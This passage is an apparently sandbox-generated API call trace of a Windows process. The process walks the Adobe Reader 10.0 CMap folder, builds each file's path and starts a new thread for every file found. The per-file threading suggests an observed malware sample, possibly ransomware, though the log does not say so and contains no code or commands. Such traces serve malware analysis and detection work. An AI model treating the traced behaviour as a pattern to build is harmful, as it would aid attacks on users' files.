lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-H", cAlternateFileName="HKM314~1")) returned 1 [0168.294] wcscmp (_String1="HKm314-B5-H", _String2=".") returned 1 [0168.294] wcscmp (_String1="HKm314-B5-H", _String2="..") returned 1 [0168.294] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7568 [0168.294] wcscpy (in: _Dest=0x8e7568, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.294] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.294] wcscat (in: _Dest=0x8e7568, _Source="HKm314-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-H" [0168.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17e8 [0168.295] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-V", cAlternateFileName="HKM314~2")) returned 1 [0168.295] wcscmp (_String1="HKm314-B5-V", _String2=".") returned 1 [0168.295] wcscmp (_String1="HKm314-B5-V", _String2="..") returned 1 [0168.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7cb8 [0168.295] wcscpy (in: _Dest=0x8e7cb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.295] wcscat (in: _Dest=0x8e7cb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.295] wcscat (in: _Dest=0x8e7cb8, _Source="HKm314-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm314-B5-V" [0168.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4 [0168.297] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-H", cAlternateFileName="HKM471~1")) returned 1 [0168.861] wcscmp (_String1="HKm471-B5-H", _String2=".") returned 1 [0168.861] wcscmp (_String1="HKm471-B5-H", _String2="..") returned 1 [0168.861] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7dd8 [0168.861] wcscpy (in: _Dest=0x8e7dd8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0168.861] wcscat (in: _Dest=0x8e7dd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0168.861] wcscat (in: _Dest=0x8e7dd8, _Source="HKm471-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" [0169.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad4 [0169.682] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-V", cAlternateFileName="HKM471~2")) returned 1 [0169.682] wcscmp (_String1="HKm471-B5-V", _String2=".") returned 1 [0169.682] wcscmp (_String1="HKm471-B5-V", _String2="..") returned 1 [0169.682] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7718 [0169.682] wcscpy (in: _Dest=0x8e7718, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.682] wcscat (in: _Dest=0x8e7718, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.682] wcscat (in: _Dest=0x8e7718, _Source="HKm471-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-V" [0169.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad8 [0169.683] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x604d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-H", cAlternateFileName="HKSCS-~1")) returned 1 [0169.683] wcscmp (_String1="HKscs-B5-H", _String2=".") returned 1 [0169.683] wcscmp (_String1="HKscs-B5-H", _String2="..") returned 1 [0169.683] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7d48 [0169.684] wcscpy (in: _Dest=0x8e7d48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.684] wcscat (in: _Dest=0x8e7d48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.684] wcscat (in: _Dest=0x8e7d48, _Source="HKscs-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" [0169.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1adc [0169.685] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-V", cAlternateFileName="HKSCS-~2")) returned 1 [0169.685] wcscmp (_String1="HKscs-B5-V", _String2=".") returned 1 [0169.685] wcscmp (_String1="HKscs-B5-V", _String2="..") returned 1 [0169.685] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7568 [0169.685] wcscpy (in: _Dest=0x8e7568, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.685] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.685] wcscat (in: _Dest=0x8e7568, _Source="HKscs-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" [0169.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ae0 [0169.686] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0169.686] wcscmp (_String1="Identity-H", _String2=".") returned 1 [0169.686] wcscmp (_String1="Identity-H", _String2="..") returned 1 [0169.686] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7cb8 [0169.686] wcscpy (in: _Dest=0x8e7cb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.686] wcscat (in: _Dest=0x8e7cb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.686] wcscat (in: _Dest=0x8e7cb8, _Source="Identity-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" [0169.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af0 [0169.694] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0169.694] wcscmp (_String1="Identity-V", _String2=".") returned 1 [0169.694] wcscmp (_String1="Identity-V", _String2="..") returned 1 [0169.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7f88 [0169.694] wcscpy (in: _Dest=0x8e7f88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.694] wcscat (in: _Dest=0x8e7f88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.694] wcscat (in: _Dest=0x8e7f88, _Source="Identity-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" [0169.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af4 [0169.699] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3047, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-H", cAlternateFileName="KSC-EU~1")) returned 1 [0169.699] wcscmp (_String1="KSC-EUC-H", _String2=".") returned 1 [0169.699] wcscmp (_String1="KSC-EUC-H", _String2="..") returned 1 [0169.699] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6f38 [0169.699] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.699] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.699] wcscat (in: _Dest=0x8e6f38, _Source="KSC-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-H" [0169.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344 [0169.700] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-V", cAlternateFileName="KSC-EU~2")) returned 1 [0169.700] wcscmp (_String1="KSC-EUC-V", _String2=".") returned 1 [0169.700] wcscmp (_String1="KSC-EUC-V", _String2="..") returned 1 [0169.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6a28 [0169.700] wcscpy (in: _Dest=0x8e6a28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.700] wcscat (in: _Dest=0x8e6a28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.700] wcscat (in: _Dest=0x8e6a28, _Source="KSC-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSC-EUC-V" [0169.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1af8 [0169.702] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4191, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-H", cAlternateFileName="KSCMS-~1")) returned 1 [0169.702] wcscmp (_String1="KSCms-UHC-H", _String2=".") returned 1 [0169.702] wcscmp (_String1="KSCms-UHC-H", _String2="..") returned 1 [0169.702] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7178 [0169.702] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.702] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.702] wcscat (in: _Dest=0x8e7178, _Source="KSCms-UHC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-H" [0169.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88 [0169.703] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-H", cAlternateFileName="KSCMS-~2")) returned 1 [0169.703] wcscmp (_String1="KSCms-UHC-HW-H", _String2=".") returned 1 [0169.703] wcscmp (_String1="KSCms-UHC-HW-H", _String2="..") returned 1 [0169.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76750 [0169.703] wcscpy (in: _Dest=0x12c76750, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.703] wcscat (in: _Dest=0x12c76750, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.703] wcscat (in: _Dest=0x12c76750, _Source="KSCms-UHC-HW-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-H" [0169.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e8 [0169.705] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-V", cAlternateFileName="KSCMS-~3")) returned 1 [0169.705] wcscmp (_String1="KSCms-UHC-HW-V", _String2=".") returned 1 [0169.705] wcscmp (_String1="KSCms-UHC-HW-V", _String2="..") returned 1 [0169.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76c10 [0169.705] wcscpy (in: _Dest=0x12c76c10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.705] wcscat (in: _Dest=0x12c76c10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.705] wcscat (in: _Dest=0x12c76c10, _Source="KSCms-UHC-HW-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" [0169.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c76c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1990 [0169.706] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e597, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-UCS2", cAlternateFileName="KSCMS-~4")) returned 1 [0169.706] wcscmp (_String1="KSCms-UHC-UCS2", _String2=".") returned 1 [0169.706] wcscmp (_String1="KSCms-UHC-UCS2", _String2="..") returned 1 [0169.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c77628 [0169.706] wcscpy (in: _Dest=0x12c77628, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.706] wcscat (in: _Dest=0x12c77628, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.706] wcscat (in: _Dest=0x12c77628, _Source="KSCms-UHC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" [0169.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c77628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0169.707] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-V", cAlternateFileName="KS3FF3~1")) returned 1 [0169.707] wcscmp (_String1="KSCms-UHC-V", _String2=".") returned 1 [0169.708] wcscmp (_String1="KSCms-UHC-V", _String2="..") returned 1 [0169.708] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7b08 [0169.708] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0169.708] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0169.708] wcscat (in: _Dest=0x8e7b08, _Source="KSCms-UHC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" [0169.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0169.709] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: 